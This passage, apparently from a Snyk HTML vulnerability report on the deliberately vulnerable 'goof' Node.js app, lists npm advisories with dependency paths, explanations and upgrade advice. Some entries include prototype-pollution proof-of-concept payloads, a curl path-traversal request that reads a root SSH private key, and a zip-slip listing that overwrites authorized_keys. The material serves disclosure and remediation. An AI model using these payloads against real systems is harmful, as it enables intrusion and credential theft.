  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + set-value@2.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + cache-base@1.0.1 + + union-value@1.0.0 + + set-value@0.4.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.

+

Affected versions of this package are vulnerable to Prototype Pollution. The function set-value could be tricked into adding or modifying properties of Object.prototype using any of the constructor, prototype and _proto_ payloads.

+

PoC by Snyk

+
const setFn = require('set-value');
+        const paths = [
+          'constructor.prototype.a0',
+          '__proto__.a1',
+        ];
+        
+        function check() {
+          for (const p of paths) {
+              setFn({}, p, true);
+          }
+          for (let i = 0; i < paths.length; i++) {
+              if (({})[`a${i}`] === true) {
+                  console.log(`Yes with ${paths[i]}`);
+              }
+          }
+        }
+        
+        check();
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade set-value to version 2.0.1, 3.0.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Override Protection Bypass

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + qs +
  • + +
  • Introduced through: + + + goof@1.0.1, body-parser@1.9.0 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + body-parser@1.9.0 + + qs@2.2.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + qs@2.4.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

qs is a querystring parser that supports nesting and arrays, with a depth limit.

+

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

+

From qs documentation:

+
+

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

+
+

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

+

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

+

Example:

+
qs.parse('toString=foo', { allowPrototypes: false })
+        // {}
+        
+        qs.parse("]=toString", { allowPrototypes: false })
+        // {toString = true} <== prototype overwritten
+        
+

For more information, you can check out our blog.

+

Disclosure Timeline

+
    +
  • February 13th, 2017 - Reported the issue to package owner.
  • +
  • February 13th, 2017 - Issue acknowledged by package owner.
  • +
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • +
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

    Remediation

    + Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

    References

    +
  • +
  • GitHub Commit
  • +
  • GitHub Issue
  • +
+ +
+ + + +
+
+

Uninitialized Memory Exposure

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + npmconf +
  • + +
  • Introduced through: + + goof@1.0.1 and npmconf@0.0.24 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + npmconf@0.0.24 + + + +
  • +
+ +
+ +
+ +

Overview

+

npmconf is a package to reintegrate directly into npm.

+

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. + It allocates and writes to disk uninitialized memory content when a typed number is passed as input.

+

Note npmconf is deprecated and should not be used. + Note This is vulnerable only for Node <=4

+

Details

+

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

+
const buf1 = new Buffer([1,2,3]);
+        // creates a buffer containing [01, 02, 03]
+        const buf2 = new Buffer('test');
+        // creates a buffer containing ASCII bytes [74, 65, 73, 74]
+        const buf3 = new Buffer(10);
+        // creates a buffer of length 10
+        
+

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. + When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

+

Remediation

+

Upgrade npmconf to version 2.1.3 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + negotiator +
  • + +
  • Introduced through: + + + goof@1.0.1, errorhandler@1.2.0 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + errorhandler@1.2.0 + + accepts@1.1.4 + + negotiator@0.4.9 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + accepts@1.2.13 + + negotiator@0.5.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + st@0.2.4 + + negotiator@0.2.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

negotiator is an HTTP content negotiator for Node.js.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) + when parsing Accept-Language http header.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade negotiator to version 0.6.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mquery +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mquery@1.6.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

mquery is an Expressive query building for MongoDB

+

Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

+

PoC

+
   require('./env').getCollection(function(err, collection) {
+              assert.ifError(err);
+              col = collection;
+              done();
+            });
+            var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
+            var m = mquery(payload);
+            console.log({}.polluted);
+        // The empty object {} will have a property called polluted which will print vulnerable
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade mquery to version 3.2.3 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mquery +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mquery@1.6.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

mquery is an Expressive query building for MongoDB

+

Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

+

PoC by zhou, peng

+
mquery = require('mquery');
+        var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
+        console.log('Before:', {}.polluted); // undefined
+        mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
+        console.log('After:', {}.polluted); // HACKED
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade mquery to version 3.2.5 or higher.

+

References

+ + +
+ + + +
+
+

Denial of Service (DoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mongodb +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mongodb@2.0.46 + + + +
  • +
+ +
+ +
+ +

Overview

+

mongodb is an official MongoDB driver for Node.js.

+

Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade mongodb to version 3.1.13 or higher.

+

References

+ + +
+ + + +
+
+

Directory Traversal

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + moment +
  • + +
  • Introduced through: + + goof@1.0.1 and moment@2.15.1 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + moment@2.15.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

+

Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.

+

Details

+

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

+

Directory Traversal vulnerabilities can be generally divided into two types:

+
    +
  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
  • +
+

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

+

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

+
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
+        
+

Note %2e is the URL encoded version of . (dot).

+
    +
  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.
  • +
+

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

+

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+
2018-04-15 22:04:29 .....           19           19  good.txt
+        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
+        
+

Remediation

+

Upgrade moment to version 2.29.2 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mixin-deep +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
